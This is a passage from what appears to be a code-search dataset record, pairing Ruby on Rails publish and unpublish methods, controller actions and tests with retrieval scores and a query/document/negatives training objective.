}\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish\n\t\[email protected]!\n\t\tredirect_to @article\n\tend", "def publish\n p = Page.find_by_id(params[:id])\n p.published_on = Time.now\n p.save!\n respond_with p, :location => nil\n end", "def publish\n self.published = true\n end", "def publish\n set_publish(true)\n end", "def publish_changes\n return unless resource.valid?\n private_publish resource\n end", "def publish\r\n return if published?\r\n self.publish_at = Time.now\r\n self.unpublish_at = nil\r\n end", "def published\n respond_with published_query(true)\n end", "def publish\n\n @group_event.published = true\n\n begin\n @group_event.save!\n rescue Exception => ex\n respond_to do |format|\n format.json { render :json => {:errors => @group_event.errors.full_messages}, :status => 422 }\n format.html { redirect_to group_events_url, notice: ex.message }\n end\n else\n respond_to do |format|\n format.html { redirect_to group_events_url, notice: 'Group event was successfully published.' }\n format.json { head :no_content }\n end\n end\n\n end", "def create\n @publish = Publish.new(params[:publish])\n\n respond_to do |format|\n if @publish.save\n format.html { redirect_to @publish, notice: 'Publish was successfully created.' }\n format.json { render json: @publish, status: :created, location: @publish }\n else\n format.html { render action: \"new\" }\n format.json { render json: @publish.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish_impl(publish_target, digital_object)\n digital_object_pid = digital_object_pids(digital_object).first\n return [false, \"Never preserved to Fedora3\"] unless digital_object_pid\n return [false, \"No DOI\"] if digital_object.doi.blank?\n connection = Faraday.new(publish_target.publish_url)\n connection.token_auth(publish_target.api_key)\n resp = connection.put(digital_object_pid)\n [true, [resp.headers['Location']]]\n rescue StandardError => e\n [false, [e.message]]\n end", "def publish\n @blog_post = BlogPost.find(params[:id])\n respond_to do |format|\n if @blog_post.publish\n format.html { redirect_to(@blog_post) }\n format.xml { head :ok }\n format.json { head :ok } \n else\n format.html { redirect_to(@blog_post) }\n format.xml { render :xml => @blog_post.errors, :status => :unprocessable_entity }\n format.json { render :json => @blog_post.errors.to_json, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @publish = Publish.new(publish_params)\n\n respond_to do |format|\n if @publish.save\n format.html { redirect_to @publish, notice: 'Publish was successfully created.' }\n format.json { render :show, status: :created, location: @publish }\n else\n format.html { render :new }\n format.json { render json: @publish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @publish = Publish.new(publish_params)\n\n respond_to do |format|\n if @publish.save\n format.html { redirect_to @publish, notice: 'Publish was successfully created.' }\n format.json { render :show, status: :created, location: @publish }\n else\n format.html { render :new }\n format.json { render json: @publish.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish\n respond_to do |format|\n if request.method_symbol == :get\n meeting.publish_defaults\n format.html { render action: :publish }\n else\n meeting.assign_attributes publish_meeting_attributes\n meeting.publish_from = current_user.email\n if meeting.publish\n format.html { redirect_to( meeting, flash: { success: 'Meeting published.' } ) }\n format.xml { head :ok }\n else\n format.html { render action: :publish, flash: { error: 'You must specify a recipient.' } }\n format.xml { render xml: meeting.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def safe_publish(e)\n on_exchange do |exchange|\n exchange.publish(e.to_json, :routing_key => @routing_key)\n end\n end", "def publish!\n self.published = true\n save\n end", "def publish\n @opportunity.status = \"Publish\"\n @opportunity.publishdate = Time.new\n if @opportunity.save\n render json: @opportunity, status: :created, location: @opportunity\n else\n render json: @opportunity.errors, status: :unprocessable_entity\n end\n end", "def test_should_create_post\n Post.any_instance.stubs(:save).returns(true)\n Post.any_instance.stubs(:id).returns(1)\n Post.any_instance.stubs(:to_param).returns(\"1\")\n Post.any_instance.stubs(:new_record?).returns(false)\n post :create, :post => { }\n assert_redirected_to post_path(assigns(:post))\n end", "def publishing?\n # This probably does not need to be synchronized\n @publishing\n end", "def publish(_ = nil)\n answers.each do |answer|\n answer.publish! if answer.submitted?\n end\n self.publisher = User.stamper || User.system\n self.published_at = Time.zone.now\n end", "def publish\n @event = Event.find_by_id(params[:event_id].to_i)\n if @event != nil && [email protected]\n if [email protected]\n @event.published = true\n @event.published_date = Time.now\n if @event.save\n # send push notifications\n # send_push_notification_to_members(\"New Event Posted - #{@event.name}\")\n\n # email members about new even posting\n email_members(\"New Event Posted - #{@event.name}\",\n \"<p>A new #{@event.event_type.title.downcase} event has been posted on the BendroCorp Dashboard called <b>#{@event.name}</b> with the following description:</p><p>#{@event.description}</p>If you would like more information on this event please visit the events page on the BendroCorp Dashboard.\")\n\n # # send push notifications\n # send_push_notification_to_members(\"Full event details for #{@event.name} have been published!\")\n\n # emit event\n EventStreamWorker.perform_async('event-publish', @event)\n\n render status: 200, json: @event\n else\n render status: 500, json: { message: \"Error: Event could not be published...check the data you entered.\" }\n end\n else\n render status: 403, json: { message: \"This event has already been published you can not publish an event which has already been published.\" }\n end\n else\n render status: 404, json: { message: \"Event not found.\" }\n end\n end", "def create\n @book = NewBook.new(book_params).new\n book_published =\n Authoring.new(current_user, @book)\n .publish_book\n\n respond_to do |format|\n if book_published\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @book }\n\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish\n set_publish_state(Event::PUBLISHED_STATE)\n end", "def test_persisted_with_no_content_length\n resp = ActiveResource::Response.new(@rick)\n resp[\"Content-Length\"] = nil\n Person.connection.expects(:post).returns(resp)\n assert Person.create.persisted?\n end", "def test_should_not_create_invalid_post\n Post.any_instance.stubs(:save).returns(false)\n post :create, :post => { }\n assert_response :success\n end", "def mock_success\n head :ok\n end", "def publish\n ZC.standard_request(:post, @links[:publish], zc_id: @zc_id)\n end", "def publish\n raise 'Event already published' if published\n\n begin\n ::SNT::Core::MQ.publisher.publish(event_context.to_json, routing_key: \"#{service}.dto\")\n self.published = true\n rescue ::StandardError => e\n logger.error \"Could not publish service event to RabbitMQ: #{e.message}\"\n logger.error e.backtrace\n end\n end", "def unpublish\n render json: ErrorSerializer.serialize(resource_name => \"is already unpublished\"), status: 422 and return unless resource.published\n\n ResourcePublisher.new(resource).unpublish\n render json: resource, status: 200\n end", "def create\n @publisher = Publisher.new(params[:publisher])\n\n respond_to do |format|\n if @publisher.save\n format.html { redirect_to \"/publishers\", notice: 'Publisher was successfully created.' }\n format.json { render json: @publisher, status: :created, location: @publisher }\n else\n format.html { redirect_to \"/publishers\", errors: 'Publisher could not be created.' }\n format.json { render json: @publisher.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish\n\t\tchanged = !published?\n\t\tself.status = 'published'\n\t\tchanged\n\tend", "def publish!\n @new = true if self.private?\n self.status = statuses.public\n self.save!\n end", "def published\n @pages = Page.published\n respond_with(@pages)\n end", "def create\n @publishers_test = Test.new(publishers_test_params)\n @publishers_test.author = @publisher\n authorize @publishers_test\n respond_to do |format|\n if @publishers_test.save\n # @TODO: Changed url to redirecting\n # format.html { redirect_to publisher_tests_path(publisher_id: @publisher.id), notice: 'Test was successfully created.' }\n format.html { redirect_to @publisher, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @publishers_test }\n else\n @publishers_test.slides.build\n format.html { render :new }\n format.json { render json: @publishers_test.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish(payload, &block)\n publish!(payload, &block)\n rescue => e\n config.on_error_publish.call(e, { payload: payload })\n end", "def publish!\n self.update_attribute(:published, true)\n end", "def handle_post\n make_response(201, {message: 'New resource created'})\nend", "def publish(event)\n if deliver_messages\n safe_publish(event)\n say \"Publishing event with routing key #{routing_key}: #{event.to_json}\"\n else\n say \"Event produced but not delivered. If you want to deliver it \" + \\\n \"try to set Untied::Publisher.config.deliver_messages to true. \" + \\\n \"Event: #{event.to_json}\"\n end\n end", "def create\n @published = Published.new(params[:published])\n\n respond_to do |format|\n if @published.save\n format.html { redirect_to @published, notice: 'Published was successfully created.' }\n format.json { render json: @published, status: :created, location: @published }\n else\n format.html { render action: \"new\" }\n format.json { render json: @published.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish\n return true if self.published_at\n\n if self.new_record?\n return false unless self.save\n end\n\n self.published_at = Time.now\n self.save\n end", "def publish(endpoint, payload)\n comm.endpoint = endpoint.type\n response = endpoint.uid ? comm.update(endpoint.uid, payload) : comm.create(id, payload)\n response.status.eql?(200) ? 'ok' : response.body\n end", "def publish(request)\n @message = request\n @exchange.publish(@message.to_json,\n request.options.merge!(reply_to: reply.name))\n return_response\n end", "def published?; end", "def published?; end", "def publish(*args)\n provider.publish(*args)\n end", "def work(message)\n if message.is_a?(Message)\n exchange.publish(message.body, routing_key: message.to,\n persistent: !Proletariat.test_mode?,\n headers: message.headers)\n end\n end", "def publish\n # TODO: move all of the _sm_ property processes into the wrapper\n _sm_header.published_at = Time.now\n _sm_header.publisher_pid = Process.pid\n\n payload = encode\n\n raise Errors::BrokerNotConfigured if broker_missing?\n broker.publish(_sm_header, payload)\n\n SS.add(_sm_header.message_class, 'publish')\n end", "def create\n # disabled for now\n # @publisher = Publisher.new(publisher_params)\n\n # respond_to do |format|\n # if @publisher.save\n # format.html { redirect_to @publisher, notice: 'Publisher was successfully created.' }\n # format.json { render :show, status: :created, location: @publisher }\n # else\n # format.html { render :new }\n # format.json { render json: @publisher.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def publish?\n false\n end", "def publish(event)\n exchange.publish(event)\n nil\n end", "def publish_n_unpublish\n @object = params[:class_name].constantize.find(params[:id])\n @object.update(published: [email protected]) if @object.author?(current_user)\n end", "def publish\n authorize! :update, @dataset\n publish_attempt_result = @dataset.publish(current_user)\n respond_to do |format|\n if publish_attempt_result[:status] == :ok && @dataset.save\n format.html {redirect_to dataset_path(@dataset.key), notice: Dataset.deposit_confirmation_notice(publish_attempt_result[:old_publication_state], @dataset)}\n format.json {render json: :show, status: :ok, location: dataset_path(@dataset.key)}\n elsif publish_attempt_result[:status] == :error_occurred\n format.html {redirect_to dataset_path(@dataset.key), notice: publish_attempt_result[:error_text]}\n format.json {render json: {status: :unprocessable_entity}, content_type: request.format, :layout => false}\n else\n Rails.logger.warn \"unexepected error in attempt to publish:\"\n #Rails.logger.warn publish_attempt_result.to_yaml\n format.html {redirect_to dataset_path(@dataset.key), notice: 'Error in publishing dataset has been logged for review by the Research Data Service.'}\n format.json {render json: {status: :unprocessable_entity}, content_type: request.format, :layout => false}\n end\n end\n end", "def call\n transaction do\n discard_drafts\n end\n\n broadcast(:ok)\n end", "def publish\n @episode = Episode.find(params[:id])\n respond_to do |format|\n if @episode.published_by!(current_user)\n @episode.delay_for(1.minutes).transcoded_by!(current_user)\n format.html { redirect_to @episode, notice: I18n.t('episodes.publish_success') }\n format.json { head :no_content }\n else\n format.html { redirect_to @episode, flash: { error: @episode.errors } }\n format.json { render json: @episode.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish_result\n @exam_group = ExamGroup.shod(params[:format])\n if @exam_group.is_published?\n flag = @exam_group.publish(@exam_group)\n publish_res(flag)\n else\n flash[:alert] = 'Exam scheduled not published'\n end\n redirect_to exams_exam_group_path(@exam_group)\n end", "def publisher\n end", "def published_new?(repository_client, publication, event)\n if publication_exists?(repository_client, publication)\n publication.reload\n event.warn(message: \"Publication already exists in the repository. Make updates at #{publication[:pub_url]}\", restartable: false)\n true\n else\n begin\n publish!(repository_client, publication)\n event.completed(message: \"Published to the repository at #{Time.now}\", restartable: false)\n true\n rescue StandardError => e\n publication.publish_failed!\n event.error(message: 'Publishing to the repository failed.', restartable: false)\n logger.error \"PublishWorkJob.publish! failed: #{e.message} => #{e.backtrace}\"\n false\n end\n end\n end", "def publish!\n self.published = true\n if self.respond_to?(:publish_on)\n self.publish_on ||= Date.today\n end\n self.save\n end", "def publish(payload, options)\n options[:persistent] = true\n exchange.publish(payload, options)\n end", "def actual_publish(dest, message, connect_headers={}, safe=true)\n if !started?\n logger.error \"Cannot publish without first starting the producer. Current state is '#{@state}'\"\n return\n end\n validate_destination_config(dest)\n publish_internal(dest, message, connect_headers, safe)\n rescue => e\n logger.error \"Error occurred while publishing the message: #{e}\\n #{e.backtrace.join(\"\\n\")}\"\n return false\n end", "def before_publish(message)\n # do any business logic\n # this calls the adapter.publish(message) afterware\n message\n end", "def handle_post()\n make_response(201, \"New resource created\")\nend", "def publish\n\n current_user_or_redirect ? nil : return\n\n @post = Post.find(params[:id])\n # topic = Topic.where(\"id = ?\", params[:topic]).first\n # if topic\n # @post.topics << topic unless @post.topics.include?(topic)\n # end\n \n if [email protected]?(@current_user.id)\n redirect_to root_path\n return\n end\n \n @post.status = 'live'\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n @post.update_created_at\n @post.delay.add_interactions\n format.html { redirect_to @post.link_for_post, notice: 'Post was successfully published.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def create\n @publisher = Publisher.new(publisher_params)\n\n respond_to do |format|\n if @publisher.save\n format.html { redirect_to @publisher, notice: 'Publisher was successfully created.' }\n format.json { render :show, status: :created, location: @publisher }\n else\n format.html { render :new }\n format.json { render json: @publisher.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish(*args, &blk)\n (@client ||= connect).publish(*args, &blk)\n end", "def publish(*args, &blk)\n (@client ||= connect).publish(*args, &blk)\n end", "def publish(_ = nil)\n publish_answers\n\n self.publisher = User.stamper || User.system\n self.published_at = Time.zone.now\n self.awarder = User.stamper || User.system\n self.awarded_at = Time.zone.now\n if persisted? && !assessment.autograded? && submission_graded_email_enabled?\n execute_after_commit { Course::Mailer.submission_graded_email(self).deliver_later }\n end\n end", "def publish!\n # Transaction ensures we do not create an order without order_items\n begin\n Order.transaction do\n order.save!\n create_order_items(order)\n calculate_total\n\n apply_promotion_to_order(params) if params[:promotion_code]\n end\n order\n rescue ActiveRecord::RecordInvalid => e\n order.tap { |o| o.errors.add(:base, \"This Product does not exist.\") }\n rescue ActiveRecord::RecordNotFound => e\n order.tap { |o| o.errors.add(:base, \"This Product does not exist.\") }\n rescue NoOrderItemsGiven => e\n order.tap { |o| o.errors.add(:base, e.message) }\n rescue InvalidPromoCodeGiven => e\n order.tap { |o| o.errors.add(:base, e.message) }\n rescue ActionController::ParameterMissing => e\n order.tap { |o| o.errors.add(:base, e.message) }\n end\n end", "def publish(data = {})\n assign_properties(data)\n\n self\n end", "def publish\n @page = params[:page]\n public = params[:public]\n @story = Story.find(params[:id])\n \n respond_to do |format|\n if @story.update_attribute(:public, public)\n format.html { redirect_to(\"/admin/stories?filter=\" + @story.story_set_id.to_s + \"&page=\" + @page.to_s) }\n format.xml { head :ok }\n format.json { render json: @story, status: :updated}\n format.js\n else \n format.json{ render :json=> {:success => \"false\"} }\n format.js\n end\n end\n end", "def create\n \n @publisher = Publisher.new(params[:publisher])\n \n respond_to do |format|\n if @publisher.save\n format.html { redirect_to @publisher, :notice => \"Gadda gey #{current_user.username } ... gad qulluumeh away \"}\n\n format.json { render :json => @publisher, :status => created, :location => @publisher }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @publisher.errors, :status => :unprocessable_entity }\n end\n end\n end", "def publisher; end", "def publisher; end", "def publish\n load_resource\n resource_instance_variable.public = true\n resource_instance_variable.save\n flash[:notice] = t(\"page_published\", :name => resource_instance_variable.name)\n redirect_back_or_to_default(resources_path)\n end", "def publish\n @training = Training.find(params[:id])\n @training.publish\n respond_to do |format|\n format.html { redirect_to @training, notice: 'Training was successfully published.' }\n end\n end", "def safe_publish(event)\n if connection.status == :open\n exchange.publish(event.to_json, :routing_key => routing_key)\n else\n say \"Event not sent. Connection status is #{connection.status}: \" + \\\n \"#{event.to_json}\"\n end\n end", "def publish(workflow: nil, lane_id: nil)\n query_params = [].tap do |params|\n params << \"workflow=#{workflow}\" if workflow\n params << \"lane-id=#{lane_id}\" if lane_id\n end\n query_string = query_params.any? ? \"?#{query_params.join('&')}\" : ''\n publish_path = \"#{object_path}/publish#{query_string}\"\n resp = connection.post do |req|\n req.url publish_path\n end\n return resp.headers['Location'] if resp.success?\n\n raise_exception_based_on_response!(resp)\n end", "def test_post_success_with_param\n post \"/\", {:data => @test_obj} do |response|\n assert response.ok?, \"Create test object failed\"\n assert_equal response.body, @test_obj.to_json, \"Did not get @test_obj back\"\n end\n end", "def test_buy_drink_from_pub\n pub = Pub.new(\"McCulls\", 0)\n drink = Drink.new(\"gin\", 5)\n\n @customer.buy_drink(drink)\n pub.serve_drink(drink)\n\n assert_equal(45, @customer.amount)\n assert_equal(5, pub.till)\n\n end", "def create\n @article = Article.new(params[:article])\n @article.user_id = current_user.id\n publish_or_not\n\n respond_to do |format|\n if @article.save\n if @article.published?\n flash[:success] = 'Article was successfully published.'\n format.html { redirect_to article_path(@article) }\n else\n flash[:success] = 'Article was successfully saved.'\n format.html { redirect_to edit_article_path(@article) }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def ps_perform_sync(action = :create, attrs: nil, as_klass: nil,\n publisher: nil)\n publisher ||= self.class.ps_publisher(action).dup\n publisher.attrs = attrs if attrs\n publisher.as_klass = as_klass if as_klass\n PubSubModelSync::MessagePublisher.publish_model(self, action, publisher)\n end", "def publish\n fail_with! 'Already published' if version.published?\n\n version.published_at = Time.zone.now\n version.active = true\n\n ActiveRecord::Base.transaction do\n save_or_die! version\n TosVersion.where.not(id: version.id).update_all(active: false)\n end\n\n reset_tos_acceptance\n end", "def publish\n self.update_attributes(status: STATUS_PUBLISHED)\n end", "def publish\n if self.draft\n self.published_at = nil\n else\n self.published_at ||= DateTime.now\n end\n end", "def publish!\n self.published = true\n\n # upgrade if necessary\n if upgrade_needed? || current_version.nil?\n upgrade_version!\n else\n save(:validate => false)\n end\n end", "def publish\n @page = Page.find(params[:id])\n @page.published_on = Time.now\n @page.save\n\n respond_to do |format|\n format.json {render json: @pages}\n format.xml {render xml: @pages}\n end\n end" ]
[ "0.6512109", "0.6229609", "0.6133528", "0.60332346", "0.60195404", "0.60032", "0.5996588", "0.5963195", "0.5963195", "0.5963195", "0.5942456", "0.5929674", "0.5917891", "0.58916396", "0.58579963", "0.58444", "0.58398545", "0.58053714", "0.5742436", "0.5741883", "0.5730103", "0.5725923", "0.5681404", "0.5665501", "0.5591332", "0.5581454", "0.55717266", "0.55717266", "0.55689216", "0.5553875", "0.5552923", "0.55495983", "0.55495644", "0.55374146", "0.5528611", "0.5493072", "0.54840696", "0.5467679", "0.5449873", "0.5435426", "0.5433549", "0.5428786", "0.542527", "0.54191726", "0.5414507", "0.54114", "0.5405633", "0.5397986", "0.5394696", "0.5366259", "0.53456396", "0.5340293", "0.5339358", "0.5326931", "0.5319221", "0.53176636", "0.5315259", "0.53016615", "0.53016615", "0.5301093", "0.5293757", "0.5286526", "0.52830404", "0.52771187", "0.5276111", "0.52735204", "0.52720636", "0.52638674", "0.52579683", "0.52466804", "0.52409625", "0.52355134", "0.52350146", "0.52327156", "0.52314824", "0.52271", "0.5223708", "0.5222461", "0.52113456", "0.52072525", "0.52072525", "0.5205364", "0.5197876", "0.5187583", "0.5184476", "0.5182668", "0.5181423", "0.5181423", "0.5171536", "0.51553416", "0.51511043", "0.5149052", "0.5142865", "0.5141399", "0.51339346", "0.5133632", "0.5133063", "0.5118385", "0.5105796", "0.51044625", "0.5103788" ]
0.0
-1
Mocks unpublishing action by returning a successful response. Ensures that object was preserved before "unpublishing".
def unpublish_impl(_publish_target, digital_object) return [false, "Never preserved"] if digital_object.first_preserved_at.blank? [true] rescue StandardError => e [false, [e.message]] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unpublish\n resp = connection.post do |req|\n req.url \"#{object_path}/unpublish\"\n end\n return resp.headers['Location'] if resp.success?\n\n raise_exception_based_on_response!(resp)\n end", "def unpublish\n render json: ErrorSerializer.serialize(resource_name => \"is already unpublished\"), status: 422 and return unless resource.published\n\n ResourcePublisher.new(resource).unpublish\n render json: resource, status: 200\n end", "def unpublish!\r\n unpublish\r\n save!\r\n end", "def unpublish\n self.published = false\n end", "def unpublished\n @pages = Page.unpublished\n respond_with(@pages)\n end", "def unpublish\r\n return unless published?\r\n self.unpublish_at = 1.minute.ago\r\n end", "def unpublish!\n self.published = false\n self.previously_published = false\n save(:validate => false)\n end", "def unpublish\n status_id = STATUSES.index('draft')\n published_at = nil\n end", "def unpublish\n MessagePublish.new(@message).unpublish\n if params[:redirect] == 'index'\n return_url = admin_messages_path\n else\n return_url = admin_message_path(@message)\n end\n redirect_to return_url, notice: t(:message_unpublishing_successful)\n end", "def unpublish!\n self.update_attribute(:status, \"Unpublished\")\n end", "def unpublish!\n self.update_attribute(:status, UNPUBLISHED)\n end", "def destroy\n @publish.destroy\n respond_to do |format|\n format.html { redirect_to publishes_url, notice: 'Publish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @publish.destroy\n respond_to do |format|\n format.html { redirect_to publishes_url, notice: 'Publish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def unpublish\n self.status = \"Unpublished\"\n end", "def unpublish\n @article = Article.find(params[:id])\n @article.change_publish_status(0)\n flash[:notice] = \"Article status changed to un-published.\"\n redirect_to :back\n rescue Exception => e\n log_exception(e)\n flash[:warning] = \"Error!\"\n redirect_to :back\n end", "def destroy\n @publish = Publish.find(params[:id])\n @publish.destroy\n\n respond_to do |format|\n format.html { redirect_to publishes_url }\n format.json { head :no_content }\n end\n end", "def unpublish!\n self.is_published = false\n save\n end", "def destroy\n authorize @publishers_test\n @publishers_test.destroy\n respond_to do |format|\n # @TODO: Commented next line\n # format.html { redirect_to publishers_tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def unarchive\n perform_action(:post, 'unarchive')\n end", "def teardown\n client.item.remove(access_token) if access_token\n end", "def unpublish!\n self.update_attributes(status: UNPUBLISHED, featured: false)\n end", "def unpublish!\n self.update_attributes(status: UNPUBLISHED, featured: false)\n end", "def unpublish!\n self.update_attributes(status: UNPUBLISHED, featured: false)\n end", "def unpublish\n template = Template.find(params[:id])\n authorize template\n Template.transaction do\n # expected: template is latest\n template.generate_version! if template.published? && template.plans.any?\n Template.where(family_id: template.family_id)\n .update_all(published: false)\n end\n flash.now[:notice] = _(\"Successfully unpublished your #{template_type(template)}\") if flash[:alert].blank?\n redirect_to(request.referer.presence || org_admin_templates_path)\n end", "def publish_n_unpublish\n @object = params[:class_name].constantize.find(params[:id])\n @object.update(published: [email protected]) if @object.author?(current_user)\n end", "def destroy_fake\n render :json => {:ok => true, :msg => nil}\n end", "def unpublish_revisions\n #Unpublish us\n if self.submitted?\n self.deleted!\n save\n end\n if self.revisions.present?\n #Unpublish the revisions\n self.revisions.each do |event|\n if event.submitted?\n event.deleted!\n event.save\n end\n end\n end\n end", "def unpublished; end", "def unpublished\n @pages = Page.unpublished\n\n respond_to do |format|\n format.json {render json: @pages}\n format.xml {render xml: @pages}\n end\n end", "def teardown\n WebMock.reset!\n WebMock.allow_net_connect!\n Time.unstub(:now)\n Media.any_instance.unstub(:parse)\n Media.any_instance.unstub(:as_json)\n Media.any_instance.unstub(:archive_to_archive_is)\n Media.any_instance.unstub(:archive_to_archive_org)\n Media.any_instance.unstub(:archive_to_perma_cc)\n Media.any_instance.unstub(:archive_to_video)\n Media::ARCHIVERS['archive_is'][:enabled] = false\n Media::ARCHIVERS['archive_org'][:enabled] = false\n CONFIG.unstub(:[])\n clear_bucket\n end", "def test_unredact_way_unauthorised\n way = create(:way, :with_history, :version => 2)\n way_v1 = way.old_ways.find_by(:version => 1)\n way_v1.redact!(create(:redaction))\n\n post :redact, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :unauthorized, \"should need to be authenticated to unredact.\"\n end", "def destroy\n @internal = Internal.find(params[:id])\n @internal.destroy\n\n respond_to do |format|\n format.html { redirect_to internals_url }\n format.json { head :ok }\n end\n end", "def unpublish(teamsiteId:, libraryContentId:)\n request.put(\n \"#{teamsites_url}/#{teamsiteId}/items/#{libraryContentId}/unpublish\"\n )\n end", "def destroy\n @retail.published = false\n @retail.save\n\n respond_to do |format|\n format.html { redirect_to retails_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @published = Published.find(params[:id])\n @published.destroy\n\n respond_to do |format|\n format.html { redirect_to publisheds_url }\n format.json { head :no_content }\n end\n end", "def deprovision\n reverse_method_proxy(:deprovision)\n\n true\n end", "def unpublished=(_arg0); end", "def destroy\n @publisher.destroy\n\n respond_to do |format|\n format.html { redirect_to(publishers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n # disabled for now\n # @publisher.destroy\n # respond_to do |format|\n # format.html { redirect_to publishers_url, notice: 'Publisher was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end", "def unpost\n Rentlinx.client.unpost(type, send(identity))\n end", "def teardown\n @appointment = nil\n end", "def destroy\n @publisher = Publisher.find(params[:id])\n @publisher.destroy\n\n respond_to do |format|\n format.html { redirect_to publishers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @publisher = Publisher.find(params[:id])\n @publisher.destroy\n\n respond_to do |format|\n format.html { redirect_to publishers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @publisher = Publisher.find(params[:id])\n @publisher.destroy\n\n respond_to do |format|\n format.html { redirect_to publishers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_state.destroy\n\n head :no_content\n end", "def destroy\n @publisher.destroy\n respond_to do |format|\n format.html { redirect_to publishers_url, notice: 'Publisher was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def can_be_destroyed\n instance.stubs(:destroy).returns(true)\n end", "def unpublished\n respond_with(published_query(false) + Page.where(:published_on.exists => false).all)\n end", "def destroy\n @unpublished_obituary.destroy\n respond_to do |format|\n format.html { redirect_to unpublished_obituaries_url, notice: 'Unpublished obituary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def unpublish\n @ok_msg = t('other_popup_messages.correct.unpublish')\n if @ok\n if [email protected]\n @ok = false\n @error = @lesson.get_base_error\n end\n else\n @error = I18n.t('activerecord.errors.models.lesson.problem_unpublishing')\n end\n prepare_lesson_for_js\n if [ButtonDestinations::FOUND_LESSON, ButtonDestinations::COMPACT_LESSON].include? @destination\n render 'lessons/reload_compact.js'\n else\n render 'lessons/reload_expanded.js'\n end\n end", "def destroy\n @publication = Publication.find(params[:id])\n @publication.destroy\n #expire_action :action => :index\n respond_to do |format|\n format.html { redirect_to publications_url }\n format.json { head :no_content }\n end\n end", "def unpublish_self\n if self.submitted?\n self.deleted!\n save\n end\n if self.revisions.present?\n self.revisions.each do |event|\n if event.submitted?\n event.deleted!\n event.save\n end\n end\n end\n end", "def destroy\n @publishing_house.destroy\n respond_to do |format|\n format.html { redirect_to publishing_houses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @loot_type.destroy\n respond_with @loot_type\n end", "def undestroy\n @resource = resource_proxy(true).find(params[:id])\n set_resource_instance\n\n @resource.deleted_at = nil\n @resource.save\n\n respond_with(@resource, location: { action: :index })\n\n # flash[:notice] = \"#{resource_name} has been undeleted\"\n # redirect_to action: :index\n end", "def destroy\n raise 'Not implemented'\n # signature_type, success = jsonapi_destroy.to_a\n\n # if success\n # render json: { meta: {} }\n # else\n # render_errors_for(signature_type)\n # end\n end", "def destroy\n @animal.destroy\n respond_with(@animal)\n end", "def unpublish_recurrence\n self.deleted!\n\n save\n #Are we recurring?\n if recurring\n recurrence.owner.recurrence.events.each do |event|\n event.unpublish\n end\n end\n\n end", "def destroy\n get_instance.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def teardown\n teardown_construct(@target_path)\n @release.destroy\n @release = nil\n end", "def cannot_be_destroyed\n instance.stubs(:destroy).returns(false)\n end", "def destroy\n @mtb_publisher = MtbPublisher.find(params[:id])\n @mtb_publisher.destroy\n\n respond_to do |format|\n format.html { redirect_to mtb_publishers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pub.destroy\n\n head :no_content\n end", "def destroy\n @private_album.destroy\n respond_to do |format|\n format.html { redirect_to private_albums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @publish_checker.destroy\n respond_to do |format|\n format.html { redirect_to publish_checkers_url, notice: 'Publish checker was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def unshare\n self.slug = nil\n self.published_at = nil\n end", "def unarchival_for(object)\n object.archived = false\n end", "def destroy\n\t\t@publisher = Publisher.find(params[:id])\n\t\[email protected]_attributes({:enabled => false, :deleted_at => Time.now})\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(publishers_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend", "def destroy\n @pub.destroy\n respond_to do |format|\n format.html { redirect_to pubs_url, notice: 'Pub was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_with(@article)\n end", "def teardown\n\t\t@invoice = nil\n\tend", "def destroy\n @api_post.destroy\n\n head :no_content\n end", "def destroy\n @not_published_opinion.destroy\n respond_to do |format|\n format.html { redirect_to action: \"index\", notice: 'Not published opinion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @product\n if @product.update(published: false)\n redirect_to products_path\n else\n products_path\n end\n end", "def destroy\n instance = @sale.destroy\n render json: { msg: instance }, status: :ok\n end", "def destroy\n @auction = Auction.find(params[:id])\n \n\tauthorize! :read, @auction\n\[email protected]\n respond_to do |format|\n format.html { redirect_to auctions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n resource.destroy\n respond_with resource\n end", "def destroy\n resource.destroy\n respond_with resource\n end", "def unpublished!\n self.update_attribute(:status, UNPUBLISHED)\n end", "def call\n\n #parse the payload to determine 